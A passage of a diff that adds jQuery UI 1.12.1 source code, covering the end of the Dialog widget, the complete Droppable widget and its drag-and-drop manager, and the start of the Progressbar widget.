+		return moved;
+	},
+
+	open: function() {
+		var that = this;
+		if ( this._isOpen ) {
+			if ( this._moveToTop() ) {
+				this._focusTabbable();
+			}
+			return;
+		}
+
+		this._isOpen = true;
+		this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
+
+		this._size();
+		this._position();
+		this._createOverlay();
+		this._moveToTop( null, true );
+
+		// Ensure the overlay is moved to the top with the dialog, but only when
+		// opening. The overlay shouldn't move after the dialog is open so that
+		// modeless dialogs opened after the modal dialog stack properly.
+		if ( this.overlay ) {
+			this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
+		}
+
+		this._show( this.uiDialog, this.options.show, function() {
+			that._focusTabbable();
+			that._trigger( "focus" );
+		} );
+
+		// Track the dialog immediately upon openening in case a focus event
+		// somehow occurs outside of the dialog before an element inside the
+		// dialog is focused (#10152)
+		this._makeFocusTarget();
+
+		this._trigger( "open" );
+	},
+
+	_focusTabbable: function() {
+
+		// Set focus to the first match:
+		// 1. An element that was focused previously
+		// 2. First element inside the dialog matching [autofocus]
+		// 3. Tabbable element inside the content element
+		// 4. Tabbable element inside the buttonpane
+		// 5. The close button
+		// 6. The dialog itself
+		var hasFocus = this._focusedElement;
+		if ( !hasFocus ) {
+			hasFocus = this.element.find( "[autofocus]" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.element.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialog;
+		}
+		hasFocus.eq( 0 ).trigger( "focus" );
+	},
+
+	_keepFocus: function( event ) {
+		function checkFocus() {
+			var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
+				isActive = this.uiDialog[ 0 ] === activeElement ||
+					$.contains( this.uiDialog[ 0 ], activeElement );
+			if ( !isActive ) {
+				this._focusTabbable();
+			}
+		}
+		event.preventDefault();
+		checkFocus.call( this );
+
+		// support: IE
+		// IE <= 8 doesn't prevent moving focus even with event.preventDefault()
+		// so we check again later
+		this._delay( checkFocus );
+	},
+
+	_createWrapper: function() {
+		this.uiDialog = $( "<div>" )
+			.hide()
+			.attr( {
+
+				// Setting tabIndex makes the div focusable
+				tabIndex: -1,
+				role: "dialog"
+			} )
+			.appendTo( this._appendTo() );
+
+		this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" );
+		this._on( this.uiDialog, {
+			keydown: function( event ) {
+				if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
+						event.keyCode === $.ui.keyCode.ESCAPE ) {
+					event.preventDefault();
+					this.close( event );
+					return;
+				}
+
+				// Prevent tabbing out of dialogs
+				if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
+					return;
+				}
+				var tabbables = this.uiDialog.find( ":tabbable" ),
+					first = tabbables.filter( ":first" ),
+					last = tabbables.filter( ":last" );
+
+				if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) &&
+						!event.shiftKey ) {
+					this._delay( function() {
+						first.trigger( "focus" );
+					} );
+					event.preventDefault();
+				} else if ( ( event.target === first[ 0 ] ||
+						event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) {
+					this._delay( function() {
+						last.trigger( "focus" );
+					} );
+					event.preventDefault();
+				}
+			},
+			mousedown: function( event ) {
+				if ( this._moveToTop( event ) ) {
+					this._focusTabbable();
+				}
+			}
+		} );
+
+		// We assume that any existing aria-describedby attribute means
+		// that the dialog content is marked up properly
+		// otherwise we brute force the content as the description
+		if ( !this.element.find( "[aria-describedby]" ).length ) {
+			this.uiDialog.attr( {
+				"aria-describedby": this.element.uniqueId().attr( "id" )
+			} );
+		}
+	},
+
+	_createTitlebar: function() {
+		var uiDialogTitle;
+
+		this.uiDialogTitlebar = $( "<div>" );
+		this._addClass( this.uiDialogTitlebar,
+			"ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" );
+		this._on( this.uiDialogTitlebar, {
+			mousedown: function( event ) {
+
+				// Don't prevent click on close button (#8838)
+				// Focusing a dialog that is partially scrolled out of view
+				// causes the browser to scroll it into view, preventing the click event
+				if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {
+
+					// Dialog isn't getting focus when dragging (#8063)
+					this.uiDialog.trigger( "focus" );
+				}
+			}
+		} );
+
+		// Support: IE
+		// Use type="button" to prevent enter keypresses in textboxes from closing the
+		// dialog in IE (#9312)
+		this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
+			.button( {
+				label: $( "<a>" ).text( this.options.closeText ).html(),
+				icon: "ui-icon-closethick",
+				showLabel: false
+			} )
+			.appendTo( this.uiDialogTitlebar );
+
+		this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" );
+		this._on( this.uiDialogTitlebarClose, {
+			click: function( event ) {
+				event.preventDefault();
+				this.close( event );
+			}
+		} );
+
+		uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar );
+		this._addClass( uiDialogTitle, "ui-dialog-title" );
+		this._title( uiDialogTitle );
+
+		this.uiDialogTitlebar.prependTo( this.uiDialog );
+
+		this.uiDialog.attr( {
+			"aria-labelledby": uiDialogTitle.attr( "id" )
+		} );
+	},
+
+	_title: function( title ) {
+		if ( this.options.title ) {
+			title.text( this.options.title );
+		} else {
+			title.html( "&#160;" );
+		}
+	},
+
+	_createButtonPane: function() {
+		this.uiDialogButtonPane = $( "<div>" );
+		this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane",
+			"ui-widget-content ui-helper-clearfix" );
+
+		this.uiButtonSet = $( "<div>" )
+			.appendTo( this.uiDialogButtonPane );
+		this._addClass( this.uiButtonSet, "ui-dialog-buttonset" );
+
+		this._createButtons();
+	},
+
+	_createButtons: function() {
+		var that = this,
+			buttons = this.options.buttons;
+
+		// If we already have a button pane, remove it
+		this.uiDialogButtonPane.remove();
+		this.uiButtonSet.empty();
+
+		if ( $.isEmptyObject( buttons ) || ( $.isArray( buttons ) && !buttons.length ) ) {
+			this._removeClass( this.uiDialog, "ui-dialog-buttons" );
+			return;
+		}
+
+		$.each( buttons, function( name, props ) {
+			var click, buttonOptions;
+			props = $.isFunction( props ) ?
+				{ click: props, text: name } :
+				props;
+
+			// Default to a non-submitting button
+			props = $.extend( { type: "button" }, props );
+
+			// Change the context for the click callback to be the main element
+			click = props.click;
+			buttonOptions = {
+				icon: props.icon,
+				iconPosition: props.iconPosition,
+				showLabel: props.showLabel,
+
+				// Deprecated options
+				icons: props.icons,
+				text: props.text
+			};
+
+			delete props.click;
+			delete props.icon;
+			delete props.iconPosition;
+			delete props.showLabel;
+
+			// Deprecated options
+			delete props.icons;
+			if ( typeof props.text === "boolean" ) {
+				delete props.text;
+			}
+
+			$( "<button></button>", props )
+				.button( buttonOptions )
+				.appendTo( that.uiButtonSet )
+				.on( "click", function() {
+					click.apply( that.element[ 0 ], arguments );
+				} );
+		} );
+		this._addClass( this.uiDialog, "ui-dialog-buttons" );
+		this.uiDialogButtonPane.appendTo( this.uiDialog );
+	},
+
+	_makeDraggable: function() {
+		var that = this,
+			options = this.options;
+
+		function filteredUi( ui ) {
+			return {
+				position: ui.position,
+				offset: ui.offset
+			};
+		}
+
+		this.uiDialog.draggable( {
+			cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
+			handle: ".ui-dialog-titlebar",
+			containment: "document",
+			start: function( event, ui ) {
+				that._addClass( $( this ), "ui-dialog-dragging" );
+				that._blockFrames();
+				that._trigger( "dragStart", event, filteredUi( ui ) );
+			},
+			drag: function( event, ui ) {
+				that._trigger( "drag", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var left = ui.offset.left - that.document.scrollLeft(),
+					top = ui.offset.top - that.document.scrollTop();
+
+				options.position = {
+					my: "left top",
+					at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
+						"top" + ( top >= 0 ? "+" : "" ) + top,
+					of: that.window
+				};
+				that._removeClass( $( this ), "ui-dialog-dragging" );
+				that._unblockFrames();
+				that._trigger( "dragStop", event, filteredUi( ui ) );
+			}
+		} );
+	},
+
+	_makeResizable: function() {
+		var that = this,
+			options = this.options,
+			handles = options.resizable,
+
+			// .ui-resizable has position: relative defined in the stylesheet
+			// but dialogs have to use absolute or fixed positioning
+			position = this.uiDialog.css( "position" ),
+			resizeHandles = typeof handles === "string" ?
+				handles :
+				"n,e,s,w,se,sw,ne,nw";
+
+		function filteredUi( ui ) {
+			return {
+				originalPosition: ui.originalPosition,
+				originalSize: ui.originalSize,
+				position: ui.position,
+				size: ui.size
+			};
+		}
+
+		this.uiDialog.resizable( {
+			cancel: ".ui-dialog-content",
+			containment: "document",
+			alsoResize: this.element,
+			maxWidth: options.maxWidth,
+			maxHeight: options.maxHeight,
+			minWidth: options.minWidth,
+			minHeight: this._minHeight(),
+			handles: resizeHandles,
+			start: function( event, ui ) {
+				that._addClass( $( this ), "ui-dialog-resizing" );
+				that._blockFrames();
+				that._trigger( "resizeStart", event, filteredUi( ui ) );
+			},
+			resize: function( event, ui ) {
+				that._trigger( "resize", event, filteredUi( ui ) );
+			},
+			stop: function( event, ui ) {
+				var offset = that.uiDialog.offset(),
+					left = offset.left - that.document.scrollLeft(),
+					top = offset.top - that.document.scrollTop();
+
+				options.height = that.uiDialog.height();
+				options.width = that.uiDialog.width();
+				options.position = {
+					my: "left top",
+					at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
+						"top" + ( top >= 0 ? "+" : "" ) + top,
+					of: that.window
+				};
+				that._removeClass( $( this ), "ui-dialog-resizing" );
+				that._unblockFrames();
+				that._trigger( "resizeStop", event, filteredUi( ui ) );
+			}
+		} )
+			.css( "position", position );
+	},
+
+	_trackFocus: function() {
+		this._on( this.widget(), {
+			focusin: function( event ) {
+				this._makeFocusTarget();
+				this._focusedElement = $( event.target );
+			}
+		} );
+	},
+
+	_makeFocusTarget: function() {
+		this._untrackInstance();
+		this._trackingInstances().unshift( this );
+	},
+
+	_untrackInstance: function() {
+		var instances = this._trackingInstances(),
+			exists = $.inArray( this, instances );
+		if ( exists !== -1 ) {
+			instances.splice( exists, 1 );
+		}
+	},
+
+	_trackingInstances: function() {
+		var instances = this.document.data( "ui-dialog-instances" );
+		if ( !instances ) {
+			instances = [];
+			this.document.data( "ui-dialog-instances", instances );
+		}
+		return instances;
+	},
+
+	_minHeight: function() {
+		var options = this.options;
+
+		return options.height === "auto" ?
+			options.minHeight :
+			Math.min( options.minHeight, options.height );
+	},
+
+	_position: function() {
+
+		// Need to show the dialog to get the actual offset in the position plugin
+		var isVisible = this.uiDialog.is( ":visible" );
+		if ( !isVisible ) {
+			this.uiDialog.show();
+		}
+		this.uiDialog.position( this.options.position );
+		if ( !isVisible ) {
+			this.uiDialog.hide();
+		}
+	},
+
+	_setOptions: function( options ) {
+		var that = this,
+			resize = false,
+			resizableOptions = {};
+
+		$.each( options, function( key, value ) {
+			that._setOption( key, value );
+
+			if ( key in that.sizeRelatedOptions ) {
+				resize = true;
+			}
+			if ( key in that.resizableRelatedOptions ) {
+				resizableOptions[ key ] = value;
+			}
+		} );
+
+		if ( resize ) {
+			this._size();
+			this._position();
+		}
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", resizableOptions );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var isDraggable, isResizable,
+			uiDialog = this.uiDialog;
+
+		if ( key === "disabled" ) {
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "appendTo" ) {
+			this.uiDialog.appendTo( this._appendTo() );
+		}
+
+		if ( key === "buttons" ) {
+			this._createButtons();
+		}
+
+		if ( key === "closeText" ) {
+			this.uiDialogTitlebarClose.button( {
+
+				// Ensure that we always pass a string
+				label: $( "<a>" ).text( "" + this.options.closeText ).html()
+			} );
+		}
+
+		if ( key === "draggable" ) {
+			isDraggable = uiDialog.is( ":data(ui-draggable)" );
+			if ( isDraggable && !value ) {
+				uiDialog.draggable( "destroy" );
+			}
+
+			if ( !isDraggable && value ) {
+				this._makeDraggable();
+			}
+		}
+
+		if ( key === "position" ) {
+			this._position();
+		}
+
+		if ( key === "resizable" ) {
+
+			// currently resizable, becoming non-resizable
+			isResizable = uiDialog.is( ":data(ui-resizable)" );
+			if ( isResizable && !value ) {
+				uiDialog.resizable( "destroy" );
+			}
+
+			// Currently resizable, changing handles
+			if ( isResizable && typeof value === "string" ) {
+				uiDialog.resizable( "option", "handles", value );
+			}
+
+			// Currently non-resizable, becoming resizable
+			if ( !isResizable && value !== false ) {
+				this._makeResizable();
+			}
+		}
+
+		if ( key === "title" ) {
+			this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
+		}
+	},
+
+	_size: function() {
+
+		// If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
+		// divs will both have width and height set, so we need to reset them
+		var nonContentHeight, minContentHeight, maxContentHeight,
+			options = this.options;
+
+		// Reset content sizing
+		this.element.show().css( {
+			width: "auto",
+			minHeight: 0,
+			maxHeight: "none",
+			height: 0
+		} );
+
+		if ( options.minWidth > options.width ) {
+			options.width = options.minWidth;
+		}
+
+		// Reset wrapper sizing
+		// determine the height of all the non-content elements
+		nonContentHeight = this.uiDialog.css( {
+			height: "auto",
+			width: options.width
+		} )
+			.outerHeight();
+		minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
+		maxContentHeight = typeof options.maxHeight === "number" ?
+			Math.max( 0, options.maxHeight - nonContentHeight ) :
+			"none";
+
+		if ( options.height === "auto" ) {
+			this.element.css( {
+				minHeight: minContentHeight,
+				maxHeight: maxContentHeight,
+				height: "auto"
+			} );
+		} else {
+			this.element.height( Math.max( 0, options.height - nonContentHeight ) );
+		}
+
+		if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
+			this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
+		}
+	},
+
+	_blockFrames: function() {
+		this.iframeBlocks = this.document.find( "iframe" ).map( function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css( {
+					position: "absolute",
+					width: iframe.outerWidth(),
+					height: iframe.outerHeight()
+				} )
+				.appendTo( iframe.parent() )
+				.offset( iframe.offset() )[ 0 ];
+		} );
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_allowInteraction: function( event ) {
+		if ( $( event.target ).closest( ".ui-dialog" ).length ) {
+			return true;
+		}
+
+		// TODO: Remove hack when datepicker implements
+		// the .ui-front logic (#8989)
+		return !!$( event.target ).closest( ".ui-datepicker" ).length;
+	},
+
+	_createOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		// We use a delay in case the overlay is created from an
+		// event that we're going to be cancelling (#2804)
+		var isOpening = true;
+		this._delay( function() {
+			isOpening = false;
+		} );
+
+		if ( !this.document.data( "ui-dialog-overlays" ) ) {
+
+			// Prevent use of anchors and inputs
+			// Using _on() for an event handler shared across many instances is
+			// safe because the dialogs stack and must be closed in reverse order
+			this._on( this.document, {
+				focusin: function( event ) {
+					if ( isOpening ) {
+						return;
+					}
+
+					if ( !this._allowInteraction( event ) ) {
+						event.preventDefault();
+						this._trackingInstances()[ 0 ]._focusTabbable();
+					}
+				}
+			} );
+		}
+
+		this.overlay = $( "<div>" )
+			.appendTo( this._appendTo() );
+
+		this._addClass( this.overlay, null, "ui-widget-overlay ui-front" );
+		this._on( this.overlay, {
+			mousedown: "_keepFocus"
+		} );
+		this.document.data( "ui-dialog-overlays",
+			( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 );
+	},
+
+	_destroyOverlay: function() {
+		if ( !this.options.modal ) {
+			return;
+		}
+
+		if ( this.overlay ) {
+			var overlays = this.document.data( "ui-dialog-overlays" ) - 1;
+
+			if ( !overlays ) {
+				this._off( this.document, "focusin" );
+				this.document.removeData( "ui-dialog-overlays" );
+			} else {
+				this.document.data( "ui-dialog-overlays", overlays );
+			}
+
+			this.overlay.remove();
+			this.overlay = null;
+		}
+	}
+} );
+
+// DEPRECATED
+// TODO: switch return back to widget declaration at top of file when this is removed
+if ( $.uiBackCompat !== false ) {
+
+	// Backcompat for dialogClass option
+	$.widget( "ui.dialog", $.ui.dialog, {
+		options: {
+			dialogClass: ""
+		},
+		_createWrapper: function() {
+			this._super();
+			this.uiDialog.addClass( this.options.dialogClass );
+		},
+		_setOption: function( key, value ) {
+			if ( key === "dialogClass" ) {
+				this.uiDialog
+					.removeClass( this.options.dialogClass )
+					.addClass( value );
+			}
+			this._superApply( arguments );
+		}
+	} );
+}
+
+var widgetsDialog = $.ui.dialog;
+
+
+/*!
+ * jQuery UI Droppable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Droppable
+//>>group: Interactions
+//>>description: Enables drop targets for draggable elements.
+//>>docs: http://api.jqueryui.com/droppable/
+//>>demos: http://jqueryui.com/droppable/
+
+
+
+$.widget( "ui.droppable", {
+	version: "1.12.1",
+	widgetEventPrefix: "drop",
+	options: {
+		accept: "*",
+		addClasses: true,
+		greedy: false,
+		scope: "default",
+		tolerance: "intersect",
+
+		// Callbacks
+		activate: null,
+		deactivate: null,
+		drop: null,
+		out: null,
+		over: null
+	},
+	_create: function() {
+
+		var proportions,
+			o = this.options,
+			accept = o.accept;
+
+		this.isover = false;
+		this.isout = true;
+
+		this.accept = $.isFunction( accept ) ? accept : function( d ) {
+			return d.is( accept );
+		};
+
+		this.proportions = function( /* valueToWrite */ ) {
+			if ( arguments.length ) {
+
+				// Store the droppable's proportions
+				proportions = arguments[ 0 ];
+			} else {
+
+				// Retrieve or derive the droppable's proportions
+				return proportions ?
+					proportions :
+					proportions = {
+						width: this.element[ 0 ].offsetWidth,
+						height: this.element[ 0 ].offsetHeight
+					};
+			}
+		};
+
+		this._addToManager( o.scope );
+
+		o.addClasses && this._addClass( "ui-droppable" );
+
+	},
+
+	_addToManager: function( scope ) {
+
+		// Add the reference and positions to the manager
+		$.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || [];
+		$.ui.ddmanager.droppables[ scope ].push( this );
+	},
+
+	_splice: function( drop ) {
+		var i = 0;
+		for ( ; i < drop.length; i++ ) {
+			if ( drop[ i ] === this ) {
+				drop.splice( i, 1 );
+			}
+		}
+	},
+
+	_destroy: function() {
+		var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+		this._splice( drop );
+	},
+
+	_setOption: function( key, value ) {
+
+		if ( key === "accept" ) {
+			this.accept = $.isFunction( value ) ? value : function( d ) {
+				return d.is( value );
+			};
+		} else if ( key === "scope" ) {
+			var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+			this._splice( drop );
+			this._addToManager( value );
+		}
+
+		this._super( key, value );
+	},
+
+	_activate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+
+		this._addActiveClass();
+		if ( draggable ) {
+			this._trigger( "activate", event, this.ui( draggable ) );
+		}
+	},
+
+	_deactivate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+
+		this._removeActiveClass();
+		if ( draggable ) {
+			this._trigger( "deactivate", event, this.ui( draggable ) );
+		}
+	},
+
+	_over: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem ||
+				draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
+				draggable.element ) ) ) {
+			this._addHoverClass();
+			this._trigger( "over", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_out: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem ||
+				draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
+				draggable.element ) ) ) {
+			this._removeHoverClass();
+			this._trigger( "out", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_drop: function( event, custom ) {
+
+		var draggable = custom || $.ui.ddmanager.current,
+			childrenIntersection = false;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem ||
+				draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return false;
+		}
+
+		this.element
+			.find( ":data(ui-droppable)" )
+			.not( ".ui-draggable-dragging" )
+			.each( function() {
+				var inst = $( this ).droppable( "instance" );
+				if (
+					inst.options.greedy &&
+					!inst.options.disabled &&
+					inst.options.scope === draggable.options.scope &&
+					inst.accept.call(
+						inst.element[ 0 ], ( draggable.currentItem || draggable.element )
+					) &&
+					intersect(
+						draggable,
+						$.extend( inst, { offset: inst.element.offset() } ),
+						inst.options.tolerance, event
+					)
+				) {
+					childrenIntersection = true;
+					return false; }
+			} );
+		if ( childrenIntersection ) {
+			return false;
+		}
+
+		if ( this.accept.call( this.element[ 0 ],
+				( draggable.currentItem || draggable.element ) ) ) {
+			this._removeActiveClass();
+			this._removeHoverClass();
+
+			this._trigger( "drop", event, this.ui( draggable ) );
+			return this.element;
+		}
+
+		return false;
+
+	},
+
+	ui: function( c ) {
+		return {
+			draggable: ( c.currentItem || c.element ),
+			helper: c.helper,
+			position: c.position,
+			offset: c.positionAbs
+		};
+	},
+
+	// Extension points just to make backcompat sane and avoid duplicating logic
+	// TODO: Remove in 1.13 along with call to it below
+	_addHoverClass: function() {
+		this._addClass( "ui-droppable-hover" );
+	},
+
+	_removeHoverClass: function() {
+		this._removeClass( "ui-droppable-hover" );
+	},
+
+	_addActiveClass: function() {
+		this._addClass( "ui-droppable-active" );
+	},
+
+	_removeActiveClass: function() {
+		this._removeClass( "ui-droppable-active" );
+	}
+} );
+
+var intersect = $.ui.intersect = ( function() {
+	function isOverAxis( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	}
+
+	return function( draggable, droppable, toleranceMode, event ) {
+
+		if ( !droppable.offset ) {
+			return false;
+		}
+
+		var x1 = ( draggable.positionAbs ||
+				draggable.position.absolute ).left + draggable.margins.left,
+			y1 = ( draggable.positionAbs ||
+				draggable.position.absolute ).top + draggable.margins.top,
+			x2 = x1 + draggable.helperProportions.width,
+			y2 = y1 + draggable.helperProportions.height,
+			l = droppable.offset.left,
+			t = droppable.offset.top,
+			r = l + droppable.proportions().width,
+			b = t + droppable.proportions().height;
+
+		switch ( toleranceMode ) {
+		case "fit":
+			return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b );
+		case "intersect":
+			return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half
+				x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half
+				t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half
+				y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half
+		case "pointer":
+			return isOverAxis( event.pageY, t, droppable.proportions().height ) &&
+				isOverAxis( event.pageX, l, droppable.proportions().width );
+		case "touch":
+			return (
+				( y1 >= t && y1 <= b ) || // Top edge touching
+				( y2 >= t && y2 <= b ) || // Bottom edge touching
+				( y1 < t && y2 > b ) // Surrounded vertically
+			) && (
+				( x1 >= l && x1 <= r ) || // Left edge touching
+				( x2 >= l && x2 <= r ) || // Right edge touching
+				( x1 < l && x2 > r ) // Surrounded horizontally
+			);
+		default:
+			return false;
+		}
+	};
+} )();
+
+/*
+	This manager tracks offsets of draggables and droppables
+*/
+$.ui.ddmanager = {
+	current: null,
+	droppables: { "default": [] },
+	prepareOffsets: function( t, event ) {
+
+		var i, j,
+			m = $.ui.ddmanager.droppables[ t.options.scope ] || [],
+			type = event ? event.type : null, // workaround for #2317
+			list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack();
+
+		droppablesLoop: for ( i = 0; i < m.length; i++ ) {
+
+			// No disabled and non-accepted
+			if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ],
+					( t.currentItem || t.element ) ) ) ) {
+				continue;
+			}
+
+			// Filter out elements in the current dragged item
+			for ( j = 0; j < list.length; j++ ) {
+				if ( list[ j ] === m[ i ].element[ 0 ] ) {
+					m[ i ].proportions().height = 0;
+					continue droppablesLoop;
+				}
+			}
+
+			m[ i ].visible = m[ i ].element.css( "display" ) !== "none";
+			if ( !m[ i ].visible ) {
+				continue;
+			}
+
+			// Activate the droppable if used directly from draggables
+			if ( type === "mousedown" ) {
+				m[ i ]._activate.call( m[ i ], event );
+			}
+
+			m[ i ].offset = m[ i ].element.offset();
+			m[ i ].proportions( {
+				width: m[ i ].element[ 0 ].offsetWidth,
+				height: m[ i ].element[ 0 ].offsetHeight
+			} );
+
+		}
+
+	},
+	drop: function( draggable, event ) {
+
+		var dropped = false;
+
+		// Create a copy of the droppables in case the list changes during the drop (#9116)
+		$.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() {
+
+			if ( !this.options ) {
+				return;
+			}
+			if ( !this.options.disabled && this.visible &&
+					intersect( draggable, this, this.options.tolerance, event ) ) {
+				dropped = this._drop.call( this, event ) || dropped;
+			}
+
+			if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ],
+					( draggable.currentItem || draggable.element ) ) ) {
+				this.isout = true;
+				this.isover = false;
+				this._deactivate.call( this, event );
+			}
+
+		} );
+		return dropped;
+
+	},
+	dragStart: function( draggable, event ) {
+
+		// Listen for scrolling so that if the dragging causes scrolling the position of the
+		// droppables can be recalculated (see #5003)
+		draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() {
+			if ( !draggable.options.refreshPositions ) {
+				$.ui.ddmanager.prepareOffsets( draggable, event );
+			}
+		} );
+	},
+	drag: function( draggable, event ) {
+
+		// If you have a highly dynamic page, you might try this option. It renders positions
+		// every time you move the mouse.
+		if ( draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+
+		// Run through all droppables and check their positions based on specific tolerance options
+		$.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() {
+
+			if ( this.options.disabled || this.greedyChild || !this.visible ) {
+				return;
+			}
+
+			var parentInstance, scope, parent,
+				intersects = intersect( draggable, this, this.options.tolerance, event ),
+				c = !intersects && this.isover ?
+					"isout" :
+					( intersects && !this.isover ? "isover" : null );
+			if ( !c ) {
+				return;
+			}
+
+			if ( this.options.greedy ) {
+
+				// find droppable parents with same scope
+				scope = this.options.scope;
+				parent = this.element.parents( ":data(ui-droppable)" ).filter( function() {
+					return $( this ).droppable( "instance" ).options.scope === scope;
+				} );
+
+				if ( parent.length ) {
+					parentInstance = $( parent[ 0 ] ).droppable( "instance" );
+					parentInstance.greedyChild = ( c === "isover" );
+				}
+			}
+
+			// We just moved into a greedy child
+			if ( parentInstance && c === "isover" ) {
+				parentInstance.isover = false;
+				parentInstance.isout = true;
+				parentInstance._out.call( parentInstance, event );
+			}
+
+			this[ c ] = true;
+			this[ c === "isout" ? "isover" : "isout" ] = false;
+			this[ c === "isover" ? "_over" : "_out" ].call( this, event );
+
+			// We just moved out of a greedy child
+			if ( parentInstance && c === "isout" ) {
+				parentInstance.isout = false;
+				parentInstance.isover = true;
+				parentInstance._over.call( parentInstance, event );
+			}
+		} );
+
+	},
+	dragStop: function( draggable, event ) {
+		draggable.element.parentsUntil( "body" ).off( "scroll.droppable" );
+
+		// Call prepareOffsets one final time since IE does not fire return scroll events when
+		// overflow was caused by drag (see #5003)
+		if ( !draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+	}
+};
+
+// DEPRECATED
+// TODO: switch return back to widget declaration at top of file when this is removed
+if ( $.uiBackCompat !== false ) {
+
+	// Backcompat for activeClass and hoverClass options
+	$.widget( "ui.droppable", $.ui.droppable, {
+		options: {
+			hoverClass: false,
+			activeClass: false
+		},
+		_addActiveClass: function() {
+			this._super();
+			if ( this.options.activeClass ) {
+				this.element.addClass( this.options.activeClass );
+			}
+		},
+		_removeActiveClass: function() {
+			this._super();
+			if ( this.options.activeClass ) {
+				this.element.removeClass( this.options.activeClass );
+			}
+		},
+		_addHoverClass: function() {
+			this._super();
+			if ( this.options.hoverClass ) {
+				this.element.addClass( this.options.hoverClass );
+			}
+		},
+		_removeHoverClass: function() {
+			this._super();
+			if ( this.options.hoverClass ) {
+				this.element.removeClass( this.options.hoverClass );
+			}
+		}
+	} );
+}
+
+var widgetsDroppable = $.ui.droppable;
+
+
+/*!
+ * jQuery UI Progressbar 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Progressbar
+//>>group: Widgets
+// jscs:disable maximumLineLength
+//>>description: Displays a status indicator for loading state, standard percentage, and other progress indicators.
+// jscs:enable maximumLineLength
+//>>docs: http://api.jqueryui.com/progressbar/
+//>>demos: http://jqueryui.com/progressbar/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/progressbar.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+var widgetsProgressbar = $.widget( "ui.progressbar", {
+	version: "1.12.1",
+	options: {
+		classes: {
+			"ui-progressbar": "ui-corner-all",
+			"ui-progressbar-value": "ui-corner-left",
+			"ui-progressbar-complete": "ui-corner-right"
+		},
+		max: 100,
+		value: 0,
+
+		change: null,
+		complete: null
+	},
+
+	min: 0,
+
+	_create: function() {
+
+		// Constrain initial value
